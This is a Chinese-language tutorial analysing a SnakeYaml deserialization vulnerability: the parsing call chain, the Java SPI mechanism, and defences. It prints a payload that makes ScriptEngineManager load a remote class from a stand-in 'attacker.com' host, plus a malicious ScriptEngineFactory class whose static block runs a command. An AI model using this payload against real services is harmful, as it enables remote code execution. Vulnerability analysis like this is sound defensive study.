SnakeYaml反序列化
字数 1520 2025-08-05 08:19:32

SnakeYaml反序列化漏洞分析与利用

1. 简介

SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库,它提供了:

  • dump方法:将Java对象转为Yaml格式字符串
  • load方法:将Yaml字符串转为Java对象

在对象与字符串转换的实现中,SnakeYaml使用了自定义的序列化/反序列化机制,这可能导致安全漏洞。

2. 漏洞利用

2.1 环境准备

使用Maven导入SnakeYaml依赖:

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

2.2 JNDI注入示例

一个简单的JNDI注入利用示例:

String yamlPayload = "!!javax.management.remote.rmi.RMIConnectorServer [...]";
Yaml yaml = new Yaml();
Object obj = yaml.load(yamlPayload);

3. 漏洞分析

3.1 反序列化流程

  1. org.yaml.snakeyaml.Yaml#load开始
  2. 实例化StreamReader对象
  3. 调用getSingleData方法
  4. 调用BaseConstructor#constructDocument方法
  5. 通过Node对象的getTag方法获取Tag对象
  6. 调用getClassName方法获取YAML字符串中的类名
  7. Constructor#getClassForName方法获取类的类对象

3.2 关键调用链

Constructor$ConstructMapping#construct中:

  1. 调用父类BaseConstructor#newInstance方法
  2. 通过目标类的Class获取无参构造器
  3. 调用newInstance方法返回实例对象
  4. Constructor$ConstructMapping#constructJavaBean2ndStep中,property.set是关键

3.3 属性设置机制

getWriteMethod方法会返回属性对应的setter方法的Method对象,通过调用Method对象的invoke方法实现调用JavaBean的setter方法。

调用栈示例:

<init>:66, MethodProperty (org.yaml.snakeyaml.introspector)
getPropertiesMap:88, PropertyUtils (org.yaml.snakeyaml.introspector)
getProperty:152, PropertyUtils (org.yaml.snakeyaml.introspector)
...

4. SPI机制利用

4.1 SPI机制简介

Java SPI(Service Provider Interface)机制是服务提供发现机制:

  1. 服务提供者在META-INF/services/目录创建以服务接口命名的文件
  2. 文件内容为接口的具体实现类
  3. 客户端程序通过查找这些配置文件加载实现类

4.2 利用SPI与ScriptEngineManager

4.2.1 恶意类构造

编写恶意类实现ScriptEngineFactory接口,在静态代码块中添加命令执行代码:

public class Poc implements ScriptEngineFactory {
    static {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    // 必须实现的其他接口方法...
}

4.2.2 配置文件设置

在Web服务根目录创建:

  1. META-INF/services/javax.script.ScriptEngineFactory文件
  2. 文件内容为恶意类名Poc

4.2.3 Payload构造

String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!java.net.URL [\"http://attacker.com/\"]]]]";

4.2.4 执行流程

  1. 从右向左解析Payload:
    • 先调用java.net.URL构造器
    • 然后传入java.net.URLClassLoader构造器
    • 最后调用javax.script.ScriptEngineManager构造器
  2. java.util.ServiceLoader#nextService中通过Class.forName加载远程类
  3. 调用newInstance方法时执行静态代码块中的命令

5. 防御措施

  1. 升级到最新版本的SnakeYaml
  2. 避免反序列化不可信的YAML数据
  3. 使用安全配置选项限制反序列化的类
  4. 实施Java安全管理器策略

6. 参考

  1. Java SnakeYaml反序列化漏洞
  2. Java常用机制 - SPI机制详解
  3. SnakeYaml官方文档和安全公告
SnakeYaml反序列化漏洞分析与利用 1. 简介 SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库,它提供了: dump 方法:将Java对象转为Yaml格式字符串 load 方法:将Yaml字符串转为Java对象 在对象与字符串转换的实现中,SnakeYaml使用了自定义的序列化/反序列化机制,这可能导致安全漏洞。 2. 漏洞利用 2.1 环境准备 使用Maven导入SnakeYaml依赖: 2.2 JNDI注入示例 一个简单的JNDI注入利用示例: 3. 漏洞分析 3.1 反序列化流程 从 org.yaml.snakeyaml.Yaml#load 开始 实例化 StreamReader 对象 调用 getSingleData 方法 调用 BaseConstructor#constructDocument 方法 通过 Node 对象的 getTag 方法获取 Tag 对象 调用 getClassName 方法获取YAML字符串中的类名 Constructor#getClassForName 方法获取类的类对象 3.2 关键调用链 在 Constructor$ConstructMapping#construct 中: 调用父类 BaseConstructor#newInstance 方法 通过目标类的Class获取无参构造器 调用 newInstance 方法返回实例对象 在 Constructor$ConstructMapping#constructJavaBean2ndStep 中, property.set 是关键 3.3 属性设置机制 getWriteMethod 方法会返回属性对应的setter方法的 Method 对象,通过调用 Method 对象的 invoke 方法实现调用JavaBean的setter方法。 调用栈示例: 4. SPI机制利用 4.1 SPI机制简介 Java SPI(Service Provider Interface)机制是服务提供发现机制: 服务提供者在 META-INF/services/ 目录创建以服务接口命名的文件 文件内容为接口的具体实现类 客户端程序通过查找这些配置文件加载实现类 4.2 利用SPI与ScriptEngineManager 4.2.1 恶意类构造 编写恶意类实现 ScriptEngineFactory 接口,在静态代码块中添加命令执行代码: 4.2.2 配置文件设置 在Web服务根目录创建: META-INF/services/javax.script.ScriptEngineFactory 文件 文件内容为恶意类名 Poc 4.2.3 Payload构造 4.2.4 执行流程 从右向左解析Payload: 先调用 java.net.URL 构造器 然后传入 java.net.URLClassLoader 构造器 最后调用 javax.script.ScriptEngineManager 构造器 在 java.util.ServiceLoader#nextService 中通过 Class.forName 加载远程类 调用 newInstance 方法时执行静态代码块中的命令 5. 防御措施 升级到最新版本的SnakeYaml 避免反序列化不可信的YAML数据 使用安全配置选项限制反序列化的类 实施Java安全管理器策略 6. 参考 Java SnakeYaml反序列化漏洞 Java常用机制 - SPI机制详解 SnakeYaml官方文档和安全公告